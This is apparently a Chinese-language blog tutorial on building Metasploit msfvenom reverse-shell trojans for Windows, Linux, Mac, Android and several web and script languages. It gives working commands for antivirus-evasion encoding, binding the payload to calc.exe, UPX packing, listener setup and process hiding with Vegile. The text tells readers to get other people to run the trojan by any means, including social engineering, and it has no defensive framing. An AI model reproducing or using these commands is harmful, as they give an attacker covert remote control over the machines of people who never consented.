Msfvenonm生成后门

目录

Msfvenom

生成exe木马

生成Linux木马

方法一:

方法二:


在前一篇文章中我讲了什么是Meterpreter,并且讲解了Meterpreter的用法。传送门——>Metasploit之Meterpreter

今天我要讲的是我们用Msfvenom制作一个木马,发送给其他主机,只要其他主机运行了该木马,就会自动连接到我们的主机,并且建立一条TCP连接。我们可以通过这条TCP连接控制目标主机。

Msfvenom

  • –p (- -payload-options):添加载荷payload。载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门,所以只有选对payload,再填写正确自己的IP,PORT,就可以生成对应语言,对应平台的后门了!!!
  • –l:查看所有payload encoder nops。
  • –f :输出文件格式。
  • –e:编码免杀。
  • –a:选择架构平台  x86 | x64 | x86_64
  • –o:文件输出
  • –s:生成payload的最大长度,就是文件大小。
  • –b:避免使用的字符 例如:不使用 ‘\0f’。
  • –i:编码次数。
  • –c:添加自己的shellcode
  • –x | -k:捆绑


 
   
   
   
   
  1. 安卓 app:
  2. msfvenom -p android /meterpreter/reverse_tcp LHOST= 192.168 .10 .27 LPORT= 8888 -o ~/Desktop/test2.apk
  3. Linux:
  4. msfvenom -p linux /x86/meterpreter/reverse_tcp LHOST= 192.168 .10 .27 LPORT= 8888 -f elf > shell.elf
  5. Mac:
  6. msfvenom -p osx /x86/shell_reverse_tcp LHOST= 192.168 .10 .27 LPORT= 8888 -f macho > shell.macho
  7. PHP:
  8. msfvenom -p php /meterpreter/reverse_tcp LHOST= 192.168 .20 .27 LPORT= 4444 -f raw -o test.php
  9. ASP:
  10. msfvenom -p windows /meterpreter/reverse_tcp LHOST= 192.168 .10 .27 LPORT= 8888 -f asp > shell.asp
  11. ASPX:
  12. msfvenom -p windows /meterpreter/reverse_tcp LHOST= 192.168 .10 .27 LPORT= 8888 -f aspx > shell.aspx
  13. JSP:
  14. msfvenom -p java/jsp_shell_reverse_tcp LHOST= 192.168 .10 .27 LPORT= 8888 -f raw > shell.jsp
  15. Bash:
  16. msfvenom -p cmd /unix/reverse_bash LHOST= 192.168 .10 .27 LPORT= 8888 -f raw > shell.sh
  17. Perl
  18. msfvenom -p cmd /unix/reverse_perl LHOST= 192.168 .10 .27 LPORT= 8888 -f raw > shell.pl
  19. Python
  20. msfvenom -p python /meterpreter/reverser_tcp LHOST= 192.168 .10 .27 LPORT= 8888 -f raw > shell.py

生成exe木马


 
   
   
   
   
  1. msfvenom -p windows/meterpreter/reverse_tcp lhost= 192.168 .10 .27 lport= 8888 -f exe -o test.exe #lhost是我们的主机ip,lport是我们主机的用于监听的端口
  2. msfvenom -p windows/meterpreter/reverse_tcp lhost= 192.168 .10 .27 lport= 8888 -i 3 -e x86/shikata_ga_nai -f exe -o test.exe #编码3次

然后会在该目录下生成一个test.exe的木马。

msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -i 20 lhost=192.168.10.11 lport=8888 -x calc.exe -f exe -o test.exe      #编码20次、捆绑正常的32位calc.exe,生成32位的test.exe文件
 
   
   
   
   

利用 upx 加壳

upx -9 test.exe -k -o test2.exe
 
   
   
   
   

接下来,我们运行 msfconsole 进入MSF控制台,然后输入以下命令


 
   
   
   
   
  1. msf > use exploit/multi/handler #使用exploit/multi/handler监听从肉鸡发来的数据
  2. msf exploit(handler) > set payload windows/meterpreter/reverse_tcp #设置payload,不同的木马设置不同的payload
  3. msf exploit(handler) > set lhost 192.168 .10 .15 #我们的主机ip
  4. msf exploit(handler) > set lport 8888 #我们的主机端口
  5. msf exploit(handler) > exploit

然后,将木马发送给其他人,无论使用什么手段(可以使用社会工程学)让其在其他主机上运行,我们这边就会接收到反弹过来的session。

因为我们刚刚把进程挂在后台,所以我们输入:sessions  -l  可以查看到我们得到的shell,使用 sessions -i  1 可以进入指定的shell,我们这里只有一个,所以id为1。如图,我们成功拿到了其他主机的shell

生成Linux木马

方法一:

执行以下命令会生成一个elf文件


 
   
   
   
   
  1. #生成32位的马
  2. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=VPS的地址 LPORT= 8888 -f elf > test.elf
  3. #生成64位的马
  4. msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=VPS的地址 LPORT= 8888 -f elf > test.elf

然后MSF开启监听


 
   
   
   
   
  1. use exploit/multi/handler
  2. set payload linux/x64/meterpreter/reverse_tcp
  3. set LHOST 0.0. 0.0
  4. set LPORT 8888
  5. exploit -j

Msfvenonm生成后门_第1张图片 

将该elf文件上传到目标机器,添加可执行权限,然后执行即可

方法二:

首先,在我们的Kali上生成一个Linux类型的木马test

msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=VPS的地址 LPORT=8888 -b "\x00" -f elf -o test
 
   
   
   
   

在目标机器上下载Vegile,命令如下,然后将 test 传到Vegile目录下


 
   
   
   
   
  1. git clone https://github.com/Screetsec/Vegile.git
  2. cd Vegile
  3. chmod +x Vegile

 Msfvenonm生成后门_第2张图片

在Kali上开启监听如下


 
   
   
   
   
  1. use exploit/multi/hander
  2. set payload linux/x86/shell/reverse_tcp
  3. set lhost 192.168.10.13
  4. set lport 8888
  5. exploit -j

Msfvenonm生成后门_第3张图片

然后在目标及执行如下


 
   
   
   
   
  1. ./Vegile --u test
  2. ./Vegile --i test

Msfvenonm生成后门_第4张图片

然后我们的VPS就可以收到目标机器弹回来的shell了。

关于后渗透阶段如何使用Meterpreter,传送门——>后渗透阶段Meterpreter的使用

你可能感兴趣的:(工具的使用)